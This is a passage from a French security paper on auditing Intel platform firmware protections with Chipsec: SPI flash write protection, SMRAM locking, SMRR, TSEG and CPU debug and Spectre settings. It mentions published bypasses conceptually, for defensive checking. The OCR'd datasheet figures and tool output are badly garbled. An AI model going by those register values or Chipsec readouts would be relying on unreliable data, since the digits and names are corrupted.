al pourrait a son tour étre modifié alors que celui-ci protége peut-étre
aussi d’autres registres. Les dépendances sont donc trés importantes et
complexes a vérifier, et ¢’est 1’'un des points forts de I'outil Chipsec.

Lorsque ses résultats sont parcourus, il est absolument nécessaire qu’ils
soient tous validés, puisqu'un défaut de verrouillage a un endroit peut
entrainer des problemes en cascade.

Un dernier élément important a préciser est que ces valeurs de registres
sont définies généralement via le BIOS dés son chargement au démarrage de
la plate-forme. Ainsi, des parametres de sécurité non conformes nécessitent
généralement une mise a jour du BIOS.
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Moyens d’accés aux registres de configuration

Registres du CPU : Le processeur expose un certain nombre de registres
de configuration internes, qui sont accessibles par plusieurs moyens :

— via la réponse a linstruction cpuid (qui énumeére les diverses
fonctionnalités supportées par le CPU, comme AES-NI ou encore
le bit NX);

— via des Model Specific Register (MSR), qui sont des registres spéci-
fiques aux processeurs Intel et sont accessibles via les instructions
rdmsr et wrmsr.

Ces deux moyens sont détaillés dans le Intel 64 and IA-32 Architectures
Software Developer’s Manual [12] (Volume 1, chapitre 20 pour cpuid et
volume 4 pour les MSR).

Espace de configuration PCI : Les périphériques PCI Express exposent
sur le bus un espace de configuration spécifique (le PCI Configuration
Space) qui stocke un certain nombre d’informations (telles que le Vendor
ID et le Product ID du périphérique) mais aussi des données de configu-
rations. Le contréleur mémoire d’une plate-forme Intel récente est ainsi
un périphérique PCI Express (situé historiquement dans le north bridge,
puis dans le PCH, et enfin directement dans le processeur lui-méme). La
documentation Intel indique les registres présents et configurables, par
exemple ici 'acces au registre BIOS_CNTL ou Bios Control Register (voir
Fig. 5).

Offset Mnemonlic Reglister Name Default Attribute
90h-93h GEN4_DEC LPC I/F Generic Decode Range 4 DOODDDDOR R/W
94h-97h ULKMC USB Legacy Keyboard / Mouse Control 00002000n RO, RyWC, R/ l

w
9B8h-9Bh LGMR LPC I/F Generic Memory Range 00000000K R/W
ADh-CFh Power Management (See
Section 12.8.1)
DOh-D3h BIOS_SEL1 BIOS Select 1 00112233h R/W, RO
Dah-D5h BIOS_SEL2 BIOS Select 2 4567h R/W
DBh-D9h BIOS_DEC_EN1 BIOS Decode Enable 1 FFCFh R/W, RO
DCh BIOS_CNTL BIOS Control 20h RAWLO, R/W,
RO

Fig. 5. Datasheet Intel : Données d’acces au registre BIOS_CNTL



A. Malard, Y.-A. Perez 85

Toutes les valeurs contenues dans ces registres telle que SMM_BWP par
exemple (bit 5) du registre de 8 bits BIOS_CNTL sont présentées dans ce
document (voir Fig. 6).

12.1.33 BIOS_CNTL—BIOS Control Register
(LPC I/F—D31:F0)

Offset Address: DCh Attribute: R/WLO, R/W, RO
Default Value: 20h Size: 8 bits
Lockable: No Power Well: Core

Bit Description

18 Reserved

4
5 SMM BIOS Write Protect Disable (SMM_BWP)—R/WL,
This bit set defines when the BIOS reglon can be written by the host,
0 = BIOS reglon SMM protection s disabled, The BIOS Region IS writable regardiess If processors
are in SMM or not, (Set this field to O for legacy behavior),
1 = BIOS region SMM protection is enabied. The BIOS Region is not writable uniess all processors
are in SMM and BIOS Write Enable (BIOSWE) is setto "1’

4 Toan Quuan Statua ITEEV 0N Thic hit nrmddas & mad.anly nath s view tha orate of tha Tan Guan

Fig. 6. Datasheet Intel : Valeurs du registre BIOS_CNTL

Mémoire projetée en mémoire physique : Pour certains périphériques,
l’espace de configuration PCI ne suffit pas (ou n’est pas présent, dans le
cas de bus différents), et le périphérique lui-méme dispose de mémoire
avec des données de configuration. L’espace mémoire du périphérique est
dit projeté dans ’espace mémoire du processeur : les acceés mémoire a
cette zone ne sont pas dirigés vers les barrettes mémoires mais vers le
périphérique lui-méme (Memory Mapped /0, MMIO). L’adresse de base de
cette zone mémoire est habituellement stockée dans le PCI Configuration
Space, dans un registre de type BAR (Base Address Register).

C’est par exemple le cas du contréleur SPI permettant d’accéder a la
mémoire flash du BIOS, dont la configuration est accessible via le registre
SPIBAR. La documentation Intel indique alors tous les registres disponibles
a cette adresse mémoire via la notation SPIBAR + Offset (voir Fig. 7).

Table 21-1, Serial Peripheral Interface (SPI) Register Address Map
(SPI Memory Mapped Configuration Registers) (Sheet 1 of 2)

SPJ:::( " Mnaemonic Reglster Name Default
00h-03h | BFPR BIOS Flash Primary Reglon 00000000 K
04h-05h HSFS Hardware Sequencing Flash Status 0000DK
06h-07h | HSFC Hardware Sequencing Flash Control 0000k
nak_nak EARRD Blash Addrass nnnRARn

Fig. 7. Datasheet Intel : registres du contréleur SPI
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Une quarantaine de registres de configuration existe notamment pour la
flash SPI, si nous souhaitons vérifier la valeur de FLOCKDN, nous retrouvons
les informations précises pour accéder a celle-ci et en 'occurrence au sein
du registre HSFS ou Hardware Sequencing Flash Status (voir Fig. 8).

3.4 Extraction et manipulation des registres avec Chipsec

L’un des intéréts de Chipsec est de fournir une documentation technique
(adresses et valeurs de variables, ... ) propre a chaque plate-forme et évitant
a un analyste de devoir lire les spécifications de celle-ci pour permettre de
manipuler les registres. Ainsi des fichiers de configuration propres a chaque
modele de chipset (format XML) spécifient les adresses des registres et de
leurs variables ainsi que les adresses mémoire MMIO.

L’acces aux informations de configuration nécessite en général des
acces bas niveau et donc privilégiés, que ce soit via des instructions (cpuid
ou rdmsr) ou des acces a la mémoire physique ou au bus PCI. Chipsec
dispose donc d’un driver (module kernel chipsec.ko sous Linux) pour
effectuer les opérations privilégiées, qui sert de relais au code Python
s’exécutant en espace utilisateur (mais avec les droits root). L’appel au
driver est alors initié via un IOCTL sur le nceud de périphérique créé par
le driver. Celui-ci transfere ensuite les appels IOCTL aux périphériques
ciblés.

Pour chaque type d’acces (PCI/MMIO/CPU/...), un module Python
est implémenté pour permettre un accés ou une écriture des données
de configuration. Un module Python existe également pour manipuler
les registres de la flash SPI du BIOS (MMIO) dans le but d’en extraire
le contenu. Par souci de place, nous ne détaillerons pas dans ce papier
le fonctionnement précis de Chipsec et nous invitons le lecteur a lire le
MISC de mai/juin 2020 dans le lequel nous proposons un article sur ce
sujet. L’idée de l’article est d’'une part d’expliquer comment fonctionne
techniquement Chipsec et d’autre part en quoi Chipsec est puissant et
pourquoi il est inutile de tenter une extraction de configuation bas-niveau
soi-méme (sous Linux).

3.5 Détection des plate-formes vulnérables via Chipsec

Nous n’allons pas présenter la totalité des vulnérabilités testées par
Chipsec mais uniquement celles qui ont eu un certain retentissement et
donc généralement ayant un impact important sur la plate-forme. Vous
pouvez toutefois retrouver un document complet détaillant les tests menés
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par Chipsec sur le github de ’ANSSI [1] et indiquant également les sorties
que nous sommes censés obtenir pour que la plate-forme soit conforme.

Détection des vulnérabilités propres a la Flash SPI Chipsec est en
mesure de détecter les vulnérabilités liées a la sécurisation de la mémoire
flash SPI accueillant le firmware du BIOS & ’aide de plusieurs modules :

chipsec.modules.common.bios_wp et bios_smi : Le registre le plus
connu aujourd’hui est celui protégeant I’écriture des régions de la flash
SPI une fois le systéeme démarré : BIOS_CNTL du PCH. Contenant 3 bits
d’une importance cruciale pour protéger le firmware des altérations, il est
probablement le registre le plus exploité par les vulnérabilités découvertes
jusqu’a maintenant.

Chipsec vérifie notamment ces valeurs a travers le module bios_wp
(Fig. 9) en vérifiant les bits :

BIOSWE BIOS Write Enable si ce bit est a 1, un acces a la flash SPI
en écriture sera possible depuis le systeme d’exploitation (avec les
privileges du ring 0), sinon I’écriture est impossible ;

BLE BIOS Lock Enable

1 a chaque tentative de modification du bit BIOSWE, une SMI
générée par le PCH empéchera tout simplement ’opération
(le bit BIOSWE est remis a 0 automatiquement par du code
s’exécutant en SMM) ;

0 depuis I’espace noyau, il sera possible de modifier le bit BIOSWE
pour déverrouiller la flash SPI et donc altérer son contenu.

Il est 1égitime de se demander pourquoi ne pas verrouiller totalement la
flash SPI, sans possibilité de déverrouillage, afin d’éviter toute modification
ultérieure par un malware. La raison principale est la nécessité de prévoir
des mises a jour. En effet, la flash SPI comprend un certain nombre
d’éléments logiciels (comme le BIOS) et de configuration qui doivent
pouvoir étre mis a jour. Il faut donc prévoir des modes légitimes d’écritures
dans la mémoire flash, apres validation.

En pratique, suite a une demande de mise a jour et au redémarrage de
la machine, le code du BIOS se charge de passer BIOSWE a 1 provoquant
ainsi une SMI (dans le cas ot BLE vaut 1) et déclenchant alors le passage
en SMM et 'exécution d’un code spécifique controlé par le BIOS lui-méme
et donc a priori légitime. Celui-ci se charge de vérifier la validité de la
mise a jour pour 'appliquer par la suite.
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La protection BLE a cependant déja pu étre contournée a plusieurs
reprises notamment a travers 'attaque SpeedRacer [17]. Celle-ci consiste a
étre plus rapide que le controle en jouant avec plusieurs cceurs du processeur
afin d’écrire dans la région du BIOS avant qu’il y ait déclenchement de la
SMI.

Une autre attaque encore plus astucieuse nommée Sandman [16]
consiste quant a elle & désactiver complétement les SMI pour empécher
le passage en SMM et permettre la modification persistante de BIOSWE.
Concretement, cette vulnérabilité peut étre exploitée pour contourner
Secureboot par exemple [15].

Chipsec vérifie naturellement que les SMI sont activées via le module
bios_smi (Fig. 10).

Une protection plus siire est donc nécessaire et c’est ce que propose
SMM_BWP. Ce bit du registre BIOS_CNTL, vérifié par Chipsec, permet ainsi
de protéger le BIOS d’une telle attaque en protégeant sa modification
méme si le contréle SMI n’est pas configuré ou échoue :

SMM_BWP SMM BIOS Write Protect Disable si ce bit est a 1, la région
SPI propre au BIOS ne pourra étre modifiée que si le processeur
s’exécute en mode SMM et donc que le code provient du BIOS
(typiquement utilisé lors d’une mise a jour pour réécrire le contenu
de la mémoire flash avec le nouveau BIOS).

Alors que les attaques présentées jusque-la ne nécessitaient qu’'un acces
privilégié au noyau (ring 0), il est nécessaire, avec cette protection en place,
d’exécuter du code en espace SMM pour altérer le BIOS, compliquant
ainsi les exploitations. L’acces a un tel espace nécessite d’une part une
élévation privilege a partir de I’espace noyau et d’autre part une exécution
de code arbitraire en SMM [25].

chipsec.modules. common.uefs.s3bootscript La question suivante est
donc de savoir s’il est possible de désactiver cette nouvelle protection en
passant SMM_BWP de 1 a 0. En 2015 des chercheurs sont parvenus a infecter
un firmware EFT depuis le mode noyau alors que la flash SPI était protégée
par les bits de protection proposés par le registre BIOS_CNTL [24, 26].
Deux vulnérabilités découvertes par les chercheurs et propres au mode
de démarrage ACPI S8 Resume (sortie de veille de la plate-forme) sont
exploitées dans leur scénario.

Durant la phase de démarrage normal et notamment durant la phase
DXE (chargement des drivers EFI), ’état du CPU et du chipset, comprenant
donc les registres du PCH tel que BIOS_CNTL, sont sauvegardés en mémoire
dans une structure appelée UEFI boot script table. Cette table est ensuite
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21.1.2

HSFS—Hardware Sequencing Flash Status Register
(SPI Memory Mapped Configuration Registers)

Memory Address: SPIBAR + 04h Attribute: RO, R/WC, R/W
Default Value: 0000h Size: 16 bits
‘ Bit | Description

15 Flash Configuration Lock-Down (FLOCKDN ) —=R/W /L. When setto L, those Flash Program
Registers that are locked down by this FLOCKDN bit cannot be written, Once set to 1, this bit can
only be cleared by a hardware reset due to a global reset or host partition reset in an Intel ME
enabled system.

14 Fiach Dacrrintar Valld { FEOVY=R0 Thic hit iz cat taa 1 f the Flach Cantraller raad the rormct

Fig. 8. Datasheet Intel : champs du registre HSF'S

[#] running module: chipsec.modules.common.bios_wp

@x2A << BIOS Control (b:d.f @@:31.8 + 8xDC)
BIOSWE << BIDS Write Enable

BLE = << BIOS Lock Enable

SRC << SPI Read Configuration
TSS = << Top Swap Status

SMM_BWP << SMM BIOS Write Protection

Fig. 9. Controle du registre BIOS_CNTL via bios_wp

running module: chipsec.modules.common.bios_smi

Checking SMI enables..
Global SMI enable: 1
TCO SMI enable L]

[#] Checking SMI configuration locks..

Fig. 10. Contréle du verrouillage de SMI via bios_smi
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utilisée lors de la phase d’une sortie de mise en veille (S8 resume) afin de
restaurer plus rapidement 1’état de la platforme, en évitant notamment
de devoir recharger tous les drivers EFI.

La premiére vulnérabilité (la seconde sera abordée plus tard) exploite
le fait que la sauvegarde de la table est réalisée durant la phase de boot
avant que les registres aient été complétement verrouillés par le
firmware EFI. Ainsi, au réveil de la plate-forme plusieurs registres dont
BIOS_CNTL ont un état déverrouillé et donc une valeur de BIOSWP ou
SMM_BWP modifiables depuis le mode noyau. L’altération du firmware EFI
devient alors possible apres avoir reparamétré les valeurs du registre.

Des mesures de sécurité ont depuis été poussées par Intel en recom-
mandant par exemple d’effectuer la sauvegarde de 1’état du CPU et du
chipset aprés la demande de mise en veille S8 suspend et donc lorsque
les registres sont correctement verrouillés. Il reste cependant beaucoup
de plate-formes vulnérables dans la nature étant donné la faible quantité
d’utilisateurs ou administrateurs sensibilisés aux mises a jour de BIOS.

Chipsec vérifie notamment si la plate-forme testée est vulnérable via le
module s3bootscript et le module tools.uefi.s3script_modify aide
également a effectuer des tests concrets de modification des scripts.

Pour renforcer davantage la sécurité de la flash SPI, plusieurs registres
supplémentaires du contréleur SPI, PRx (Protected Range), spécifiques
a chaque région de la flash SPI, ont vu le jour pour définir les droits
d’écriture (WP) et lecture (RP) sur chacune des régions et ainsi empécher
toute altération de la cible prioritaire, le contenu de la flash SPI. Cette
protection, dont le code fonctionne indépendamment du mode SMM, em-
péche I'écriture des régions de la flash via un code malveillant s’exécutant
dans ce mode.

Le module Chipsec bios_wp (Fig. 11) inclut également la vérification
de ces registres.

[+] BIOS Region: Base = 8x00580000, Limit = @x8BFFFFFF
SPI Protected Ranges

PRx (offset) | Value | Base | {E | WP? | RP?

PRB (74) 00000002 | ocoeepee | GeeoceeR | @

PR1 (78) BFFFBFF@ | GBFFO@BO | BBFFFFFF |

PR2 (7C) 000pE0E0R | oocooRER | eeedEeER |

PR3 (B@) e0ooeeed | oeecoeee | eeeceeel |
| | |

PR& (B4) eeoeeeeR eeeeoBee eoeaaeee

Fig. 11. Controle des registres Protected Range via bios_wp
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Malheureusement, selon les constructeurs, il n’est pas rare que cette
protection soit désactivée ou activée uniquement pour certaines régions, il
est donc la encore tres important de vérifier en pratique qu’elle est mise
en place correctement.

chipsec.modules.common.spi_lock De nouveau, il existe un moyen de
contourner cette derniére protection. Les registres PRx étant inclus dans la
configuration du contréleur SPI, ils sont protégés par le biais du registre
du contréleur SPI HSFS (Hardware Sequencing Flash Status and Control).
Ainsi si le bit FLOCKDN de celui-ci est a 0 alors les registres propres a la
flash SPI (tels que PRx) ne sont plus protégés en écriture et peuvent donc
subir des modifications. Chipsec vérifie donc cette valeur via le module
spi_lock (Fig. 12).

[+#] BIOS Region: Base = @x08580000, Limit = @x8@FFFFFF
SPI Protected Ranges

eeoeeeel eeeeeBee

BFFF@FFe @@FFoeee @BFFFFFF
eeoeeee0 eeeeoeee eeeeeeee
obooeeoe ooeeooee eoooeooe
eeoeeeel eeeeeeee eoeeeeee

Fig. 12. Contrdle du verrouillage de la configuration du contréleur SPI

Les différents registres et bits vérifiés ont été consolidés dans un
mindmap (Fig. 13) et restent disponibles sur le github de I’ANSSI [6].

Détection des vulnérabilités propres a la SMRAM Comme on
I’a vu ci-dessus, le SMM est un mode particulierement privilégié du
processeur, et le code qui s’exécute a ce niveau doit avoir un niveau
d’intégrité important.

Chipsec est en mesure de détecter les vulnérabilités liées a la sécurisa-
tion de la mémoire SMRAM a l’aide de plusieurs modules.

chipsec.modules. common.smm Le mécanisme de sécurité empéchant I’ac-
ces a I'espace SMRAM depuis un mode autre que SMM est défini dans le
registre SMRAC (System Management RAM Control Register) du controleur
mémoire, accessible en PCIL.

Les deux bits qui nous intéressent sont D_OPEN (SMM Space Open)
couplé au bit D_LCK (SMM Space Locked) qui empéche la modification de
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SPI Flash protection

5 Protected Range (PR) Registers
on 32 bits

For 5 registers :
bit 31 > Write Protection Enable (W) = 1
bits 12:0 > PR Base <=> SP| Flash Reglon Base
bits 28:16 > PR Limit <=> 5P| Flash Reglon Limit
>> 10 prevent writing on SPI Flash Reglons

HSFSTS Register

on 16 bits

bit 15 > Flash Conflguration Lock-Down (FLOCKDN) = 1
== to lock PR reglsters and others

bit 13 > Flash Descriptor Qverride Pin-Strap Status (FOOPSS) = 1
>> |ndlcatlon of Pin Strap status

to override Flash Descriptor Security or

to enable Intel ME Debug mode

TCO1_CNT or TCO1
Control Register on 16 bits

bit 12 > TCO_LOCK = 1
== 10 lock modification
of TCO_EN bit

BIOS Control Register (BIOS_CNTL)
on 8 bits

bit 0 > BIOS Write Enable (BIOSWE)} = 0
> to lock writing on BIOS reglon

bit 1 > BIOS Lock Enable {BLE) = 1
> 1o control (SMI Interruption)
madifications on bit BIOSWE

bit 4 > Top Swap Status {T55) = 0
>> to show status of bit Top Swap bit

bit 5 > SMM_BWF = 1
> to prevent writing from kernel space

SMI_EN or SMI Control
and Enable Register
on 32 bits

bit 0 > GBL_SMI_EN = 1
== to enable generation of
SMI# In the system

bit 13> TCOEN =1
=» 10 enable the TCO
logic to generate SMI#

GEN_PMCON_1 or
General PM Configuration 1
Register on 16 bits

bit 4 > SMI_LOCK = 1
== to lock configuration
of SMI_EN register

—{ FRAP Register on 32 bits

Tao specifiy Master or Reglons on 8 bits = FO=hit 0,
BIOS=bit 1, ME=bit Z, GbE=bit 3

bits 7:0 > BRRA = 0000 7211

»> 10 authorize accessing of specific reglons from
register acress {software)

bits 15:8 > BRWA = 0000 0010

2> >> to authorize writing of specific reglons from
register access (softwarep

bits 23:16 > BMRAG = 0x00

=> to authorize reading of BIOS Reglon 1 from specific
Master

bits 31:24 > BMWAG = 0x00

=> to authorize writing of BIOS Reglon 1 from specific
Master

Fig. 13. Registres et bits protégeant la Flash SPI
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celui-ci (ainsi que d’autres registres importants). Le module smm (Fig. 14)
s’assure que D_LCK soit & 1 et D_OPEN a 0.

[#] running module: chipsec.modules.common.smm

[+] PCI®.8.0_SMRAMC = @x1A << System Management RAM Control (b:d.f @0:808.8 + @xB8B)
[@@] C_BASE_SEG 2 << SMRAM Base Segment = @18b

1 << SMRAM Enabled

i |

]

[83] G_SMRAME
[e4] DLLEK
[@5] D_CLS
[es) D_OPEN

[#] Compatible SMRAM is enabled

<< SMRAM Locked
<< SMRAM Closed

B << SMRAM Open

Fig. 14. Vérification du registre SMRAMC

Des recherches menées sur le sujet il y a plus de dix ans [21] ont montré
qu’il était tout de méme possible d’accéder a la SMRAM malgré les bits de
SMRAMC correctement positionnés. En effet, sur une architecture disposant
d’un north bridge, les chercheurs ont pu déposer leur propre code SMM qui
était exécuté suite au déclenchement d’'une SMI. Le code malveillant ainsi
exécuté en SMM pourra contourner des mécanismes de sécurité systéme.
L’exploitation, trés complexe, est possible du fait que le registre SMRAMC
peut étre modifié depuis le mode noyau. Sur les nouvelles plate-formes
disposant d’un PCH, le controle par SMRAMC n’étant plus réalisé par le
north bridge mais par le CPU, I'exploitation ne semble plus possible.

Une deuxieéme vulnérabilité [8], découverte en 2009 par les mémes
chercheurs et contournant également SMRAMC, exploite cette fois-ci le cache
du CPU et le fait qu’il y stocke du code SMM. 1l est ainsi possible depuis
le mode noyau de forcer le CPU a exécuter une charge malveillante en
modifiant ce cache suite & une SMI.

Ces deux vulnérabilités ont fait 1’objet d’une présentation tres com-
plete [22] ainsi que d’un article Phrack [7].

chipsec.modules. common.smrr Suite & ces vulnérabilités qui ont fait
beaucoup de bruit, Intel a ajouté un nouveau registre processeur pour
effectuer des controles de 1'état de la SMRAM. Ainsi le MSR SMRR (System
Management Range Register) a vu le jour et apporte les sécurités suivantes :
— SMRR détermine la manieére dont sera mis en cache la SMRAM ;
— SMRR ne peut étre modifié que par du code s’exécutant en mode
SMM ;
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— si le CPU est en mode SMM, il vérifie alors les valeurs de SMRR
pour déterminer comment la SRAM doit étre mis en cache;

— sile CPU n’est pas en mode SMM, il considere alors que la mémoire
SMRAM ne doit pas étre mise en cache et tous les acces en lecture
renvoient une valeur fixe (et inexploitable) alors que ceux en écriture
sont ignorés.

Le registre SMRR, configuré par le BIOS au démarrage, est vérifié par

le module Chipsec smrr (Fig. 15).

running module: chipsec.modules.common.smrr

Checking SMRR range base programming..

IA32_SMRR_PHYSBASE = @xDA@A8AAA << SMRR Base Address MSR (MSR @x1F2)
[@B] Type = & << SMRR memory type

[12] PhysBase = DABB@ << SMRR physical base address

SMRR range base: @x@0@Be@2aDABERBRR

SMRR range memory type is Writeback (WB)

Checking SMRR range mask programming..

IA32_SMRR_PHYSMASK = @xFE@@@B@8 << SMRR Range Mask MSR (MSR @x1F3)
[11] valid = 1 << SMRR valid

[12] PhysMask = FE@B@ << SMRR address range mask

SMRR range mask: @xBPBREBBBFERBABRE

Fig. 15. Vérification du registre SMRR

Des tests sont également réalisés pour s’assurer qu’il n’est pas possible
d’accéder a la mémoire SMRAM (Fig. 16) depuis le mode noyau.

[#] Trying to read memory at SMRR base @xDABBEGEA..

Fig. 16. Vérification de 'acces au registre SMRR

chipsec.modules.smm_dma Sur les chipsets et processeurs récents, et
dans le but de protéger la plate-forme des attaques DMA (acces direct
a la mémoire physique) ciblant la SMRAM depuis du matériel physique
(via PClIe, Thunderbolt etc.), le mécanisme de protection TSEG (Extended
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SMRAM Space) a été implémenté. TSEG définit un espace mémoire
physique (Fig. 17) protégé (incluant la SMRAM). Plusieurs registres
(activation, adresse de base, taille etc.) du controleur mémoire permettent
de configurer finement cette zone.

Physical Memory

Host/System View (DRAM Controller View)
512G
PCI Memory
Add. Range
(subtractively
TOUUD BASE | decoded to
Reclaim Limit bMD
= Reclaim 1 MB aligned
Base + X
1 MB aligned
Main Memary ME-UMA
Reclaim Add
Reclaim BASE |
eclaim ;
1 MB aligned > 1 MB aligned
Main Memory
Address os \:1‘(53';‘9 =
Range
4GB
Flash, APIC LT b
FECO_oo0O | 22ME) X 05 Invisils
TOLUD BASE Y 1MB aligr_1ed
1 MB aligned for reclaim
PCI Memory GFX Stolen
&dd. Range (0-256MB)
{subtractively
decoded to H
oM - 1 MB aligned
GFX GTT
STOLEN
(0-2MB)
- 1 MB aligned
TSEG
TSEG (0-tHE)
| 1 MB aligned
Main Memory
Add Range 05 VISIBLE
< 4GB
1 MB
Legacy Add.
Range 0
0 >

Fig. 17. Agencement de I’espace mémoire sur plate-forme Intel
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Chipsec s’assure (Fig. 18), a travers son module smm_dma, que 'espace
mémoire TSEG couvre complétement SMRAM et que le bit LOCK de
TSEGMB, permettant de verrouiller cette configuration, est positionné a 1.

running module: chipsec.modules.smm_dma

TSEG : BxPEeRE0RADARRREAR — BxPEAROROBDBFFFFFF (size Bx@2e00008)
SMRR range: 9x@e000000DAGOREAR — @x80QRAEE@BDBFFFFFF (size @x82000008)

checking TSEG range configuration..

Fig. 18. Vérification de la configuration de TSEG

Un autre élément important contrélé par Chipsec et abordé plus haut
est la valeur du bit D_LCK de SMRAMC qui doit étre positionnée a 1 afin de
verrouiller une partie de la configuration de I’espace mémoire physique.

La deuxiéme vulnérabilité liée au S3 suspend/resume et mentionnée
précédemment exploite le fait que la table soit sauvegardée en RAM et non
en SMRAM mais également le fait que le registre TSEGMB soit déverrouillé
(comme BIOS_CNTL) suite a une sortie de veille. Ainsi, depuis un acces au
noyau, l'acces a la RAM n’étant pas spécifiquement protégée, il est possible
de compromettre la structure de la table en lui indiquant par exemple de
charger une configuration spécifique et donc un code arbitraire en SMM.
Des mesures palliatives ont été poussées dans le kit de développement EFI
(EDK2), tel que le concept « LockBox » qui propose de sauvegarder la
table en SMRAM, donc non accessible depuis le mode noyau.

La encore, les différents registres et bits vérifiés pour la protection
de la SMRAM ont été consolidés dans un mindmap (Fig. 19) et restent
disponibles sur le github de I’ANSSI [5].

Détection des vulnérabilités propres aux options CPU Certaines
vulnérabilités proviennent de I'implémentation matérielle du CPU lui-
méme, ou bien de fonctionnalités dont il dispose et qui pourraient étre
détournées a des fins malveillantes (par exemple des fonctions de debug).

Chipsec est en mesure de détecter certaines de ces vulnérabilités a
I’aide de plusieurs modules :
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SMRAM Protection

SMRAMCc or System Management

RAM Controler Register (CPU)

on B bits

SMRR or System Management

Range Registers (CPU):
1A32_SMRR_PHYSBASE
1A32_SMRR_PHYSMASK

Range to protect with SMRR
>> to prevent modiflcation
of SMRAM propertles from ring 0
Le: Injection SMI code Into memory cache

Bit 3 > G_SMRAME = 1
>>to enable D_* bits

bit4>DLCK=1

>= to forbldden access to SMRAM from ring 0
> to set In read only mode for

several Important bits of SMRAM reglsters
(D_OPEN, G_SMRARE, C_BASE_SEG, H_SMRAM_EN,
GMS, TOLUD, TOM, TSEG_SG, TSEG_EN)

D_OPEN=0
= |ust 1o Initlalize SMM (by BIOS code)

TSEGMB or TSEG Memory
Base Register (CPU)

on 32 bits

ESMRAMC or Extended System
Management RAM Control
on B bits

bit 0> T_EN or TSEG_EN = 1
== tp enable TSEG (protection against
DMA attacks)

>= to prevent DMA attack

bits 31:20 > TSEG range
> TSEG range covers entire SMRAN

bito> LOCK =1
>= TSEG range Is locked

Fig. 19. Registres et bits protégeant la SMRAM
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chipsec.modules. common. cpu.spectre_v2 Ce module est dédié aux
vulnérabilités side channel découvertes a partir de 2017 dans les CPU
Intel, & commencer par Spectre variant 2 (CVE-2017-5715, aussi appelée
Branch Target Injection). Sans rentrer dans le détail des vulnérabilités
Spectre, Intel a introduit des correctifs contre diverses vulnérabilités dans
des microcodes (et dans le matériel pour certaines générations suivantes de
CPU), sous la forme de plusieurs technologies : Indirect Branch Restricted
Speculation (IBRS), Indirect Branch Predictor Barrier (IBPB), Single
Thread Indirect Branch Predictors (STIBP), Enhanced IBRS (IBRS__ALL).
Ces fonctionnalités sont exposées par le processeur au systéme d’exploi-
tation (ou a I’hyperviseur) qui doit ensuite les prendre en compte, par
exemple pour nettoyer des buffers lors de changements de contexte ou de
niveau de privilege.

Le processeur expose ces informations via cpuid pour IBRS,
IBPB et STIBP tandis que IBRS_ALL est exposé dans le MSR
IA32_ARCH_CAPABILITIES (FEnumeration of Architectural Features).

Ce MSR accessible uniquement en lecture a été introduit par Intel
dans les processeurs récents afin d’exposer au systéme d’exploitation les
fonctionnalités de défense contre les diverses attaques matérielles. Sa
présence doit donc étre d’abord confirmée (a ’aide de la réponse a cpuid)
avant de consulter son contenu.

chipsec.modules.debugenabled Les plate-formes Intel disposent de
fonctionnalités permettant, sous certaines conditions, d’accéder & des
fonctionnalités de debug au sein méme du processeur ou d’autres compo-
sants comme le chipset. Ces fonctionnalités de debug étaient initialement
réservées a des systémes en cours de développement, mais il est devenu pos-
sible d’utiliser ces fonctionnalités sur des machines de série (afin de pouvoir
identifier et corriger des problemes une fois sortie des lignes d’assemblage
d’Intel).

Cette technologie reposait avant 2015 sur le Closed Chassis Adapter
(CCA), un outil matériel propriétaire Intel permettant de s’interfacer
avec une machine a debugger. A partir de 2015, les systémes Skylake
et ultérieurs disposent de la technologie Direct Connect Interface (DCI)
qui s’appuie sur le bus USB3 et ne nécessite pas un composant matériel
spécifique.

Il est évident qu’un acces bas niveau tel que le JTAG a des machines en
production est extrémement dangereux, puisque ce genre d’acceés permet
de contourner tout type de contrdle que le systeme d’exploitation pourrait
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mettre en place. Le debug matériel est donc désactivé par défaut, et doit
étre explicitement activé, ce qui peut se faire de trois facons :
— via le positionnement d’une variable du firmware UEFI (HDCIEN,
DCI Enable) qui nécessite de reflasher le BIOS (et donc d’avoir un
acces en écriture a la flash SPI) et invalide le SecureBoot ;
— via le positionnement d’'un PCH strap, une variable située dans la
région de configuration de la flash SPI, qui nécessite donc l'acces
en écriture a la flash SPI mais n’invalide pas le SecureBoot ;
— apres le démarrage, via le DCI Control Register (ECTRL), accessible
via les registres privés de configuration du PCH : le bit 4, HDCIEN
(Host DCI Enable) permet d’activer l'interface et donc le debug.
Ces moyens ont été identifiés par des chercheurs de Positive Technolo-
gies [11] et présentés au 33¢me Chaos Computer Congress en 2016 [10].

Ces fonctionnalités de debug peuvent étre verrouillées au travers d’un
nouveau MSR, IA32_DEBUG_INTERFACE (Silicon Debug Feature Control)
qui comprend trois bits qui nous intéressent ici :

0 Enable permet d’activer (1) ou désactiver (0) les fonctionnalités de
debug;

30 Lock verrouille le registre et en particulier le premier bit, il est
automatiquement positionné a la premiere SMI;

31 Debug Occured est en lecture seule et positionné par le CPU lui-

méme si un debug a déja été initié.

Sur des machines standard, le BIOS doit normalement s’assurer que
le bit Enable est a 0, puis passer le Lock a 1 afin d’éviter tout debug
subséquent.

Malheureusement, les chercheurs de Positive Technologies ont remarqué
que sur un certain nombre de machines testées le bit Lock n’était pas
positionné (manuellement par le BIOS ou bien a la premiere SMI), ce qui
permettait donc de réactiver la fonctionnalité. Ce défaut de configuration
a recu le CVE-2017-5684 et a touché Intel, Lenovo, Asus et Gigabyte.

Les différents registres et bits vérifiés ont été consolidés dans un
mindmap (Fig. 20) et restent disponibles sur le github de I’ANSSI [4].

4 Conclusion

Aujourd’hui, les nombreuses fuites de documents appartenant a des
vendeurs d’exploits (Hacking Team, NSO Group, ...) ou a des gouverne-
ments (IRATEMONK, DEITYBOUNCE, Vault 7...) prouvent que les menaces
touchant le matériel des plate-formes sont réelles. Des implants BIOS sont
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bit 30 > DEBUG_LOCK = 1
>> 10 lock manually or automatically (with SMi)

CPU Options

IA32 ARCH_CAPABILITIES Register }_/

"Against SpectreV/2"

IBRS.ALL = 1
> 10 eNUMerate support
for enhanced IBRS

1A32_DEBUG_INTERFACE Register (MSR Register) }>

"Against Intel DCI Debug"

bit 0 > DEBUG_ENABLE = 0
»» to disable CPU debug features

bit 31 = DEBUGE_OCCURED =0
=> 1o Indicate the status of bit 0

IA32_Feature_Control Register (MSR Register)
"To configure SGX (code/data memory
encryption and isolation)”

bit 0> Lock=1
== to prevent writing on this register

bits 17, 18 > SGX Launch Control Enable = 7

»> 10 enable/disable 5GX

bits1,2>7
> 1o enable extenslons In
or outside SMX operation

> 5GX Global Enable = ?

!

#’

DCI Control Register (ECTRL)

1A32 SPEC_CTRL Register
"Against SpectreV2"

IBRS = 1
== to enable control for enhanced
|BRS by the software/0s

STIBP =1
